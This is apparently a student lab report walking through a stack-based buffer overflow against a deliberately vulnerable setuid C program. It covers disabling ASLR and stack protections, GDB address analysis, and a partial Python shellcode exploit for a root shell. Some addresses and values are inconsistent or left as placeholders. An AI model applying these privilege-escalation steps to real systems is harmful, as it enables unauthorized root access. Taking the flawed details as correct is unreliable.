

Matthew Tran

Stack-Based Buffer Overflow Attack

The purpose of this lab is to understand how stack-based buffer overflow attacks work by disabling common system protections, analyzing stack memory, and exploiting a vulnerable program to gain a root shell.

Tools Used

- Linux terminal
- C compiler (gcc)
- GDB debugger
- Python 3 (for exploit script)
- Vim text editor
- Zsh shell

Skills Learned

- Analyzing a vulnerable C program to identify buffer overflow points
- Disabling security protections like ASLR and stack guards for controlled exploitation
- Compiling programs with specific security flags (-fno-stack-protector, -z execstack)
- Using GDB to examine stack memory layout and locate buffer/EBP addresses
- Writing and executing a Python exploit to overwrite the return address
- Gaining root shell access through a successful stack-based buffer overflow

Environment Setup)

```
export PS1='matthew_tran@vm:\w$ '
```

```
cd /media/sf_Lab6_
```

```
ls
```

```
matthew_tran@vm:~$ cd /media/sf_Lab6_
```

```
matthew_tran@vm:~/sf_Lab6_$ ls
```

Vulnerable Program Analysis)

vim stack.c

```
/* Vulnerable program: stack.c */
/* You can get this program from the lab's website */

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

/* Changing this size will change the layout of the stack.
 * Instructors can change this value each year, so students
 * won't be able to use the solutions from the past.
 * Suggested value: between 0 and 400 */
#ifndef BUF_SIZE
#define BUF_SIZE 24
#endif

int bof(char *str)
{
    char buffer[BUF_SIZE];

    /* The following statement has a buffer overflow problem */
    strcpy(buffer, str);
}
```

The buffer size was examined to identify a potential overflow vulnerability. The stack buffer size is 240 bytes, while the input string size is 517 bytes.

Disabling Security Countermeasures)

Disable Address Space Layout Randomization (ASLR):

sudo sysctl -w kernel.randomize_va_space=0

```
matthew_tran@vm:~/sf_Lab6$ sudo sysctl -w kernel.randomize_va_space=0
```

Address Space Layout Randomization (ASLR) was disabled to ensure consistent memory addresses during exploitation.

Set Default Shell to zsh:

sudo ln -sf /bin/zsh /bin/sh

```
matthew_tran@vm:~/sf_Lab6$ sudo ln -sf /bin/zsh /bin/sh
matthew_tran@vm:~/sf_Lab6$ gcc -DBUF_SIZE=240 -o stack -z execstack -fno-stack-protector stack.c
matthew_tran@vm:~/sf_Lab6$
matthew_tran@vm:~/sf_Lab6$ ls
```

This command redirects /bin/sh to /bin/zsh, ensuring the spawned shell works as expected during the exploit.

Compiling the Vulnerable Program)

Compile stack Binary:

```
gcc -DBUF_SIZE=240 -o stack -z execstack -fno-stack-protector stack.c
```

Ls

Stack protection and non-executable stack protections were disabled to allow injected shellcode execution.

Set Root Ownership and Permissions:

```
sudo chown root stack
```

```
sudo chmod 4755 stack
```

Ls

```
matthew_tran@vm:~/sf_Lab6$ sudo chown root stack
matthew_tran@vm:~/sf_Lab6$ sudo chmod 4755 stack
```

GDB Analysis)

Compile Debug Version:

```
gcc -z execstack -fno-stack-protector -g -o stack_gdb stack.c
```

Ls

```
call_shellcode.c.txt exploit.c exploit.py stack stack.c
matthew_tran@vm:~/sf_Lab6$ gcc -z execstack -fno-stack-protector
-g -o stack_gdb stack.c
matthew_tran@vm:~/sf_Lab6$ ls
```

Create Required badfile:

```
touch badfile
```

Debugging with GDB:

`gdb stack_gdb` - launches the debugger to analyze your vulnerable program.

b bof - sets a breakpoint to pause execution at the vulnerable function.

R - runs the program until it hits that breakpoint.

x &buffer - shows the memory address where your vulnerable buffer begins.

x \$ebp - shows the address of the saved base pointer, used to calculate how much to overflow.

```
gdb-peda$ x &buffer
0x7fffffffdc10: 0x000000002e34c3ac
gdb-peda$ x &ebp
No symbol "ebp" in current context.
gdb-peda$ x $ebp
0xffffffffffffe020: Cannot access memory at address 0xfffffffffffffe020
```

The buffer and base pointer (EBP) addresses were recorded for use in exploit construction.

Exploit Construction)

Modify exploit.py:

Within this code add the address for the buff and ebp.

```

"\xcd\x80" # int $0x80
).encode('latin-1')

# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))

# Put the shellcode at the end
start = 517 - len(shellcode)
content[start:] = shellcode

#####
buff = 0x7fffffffcd10
ebp = 0xffffffffffe020
ret = 0xAABBCCDD # replace 0xAABBCCDD with the correct value
offset = 0 # replace 0 with the correct value

content[offset:offset + 4] = (ret).to_bytes(4,byteorder='little')
#####

# Write the content to a file
with open('badfile.txt') as f:

```

vim exploit.py

The recorded buffer and EBP addresses were inserted into the exploit code to overwrite the return address.

Generate Malicious Input:

rm badfile

python3 exploit.py

Exploit Execution and Verification:

./stack

whoami

id

Successful exploitation results in a root shell, confirmed using **whoami** and **id** commands.

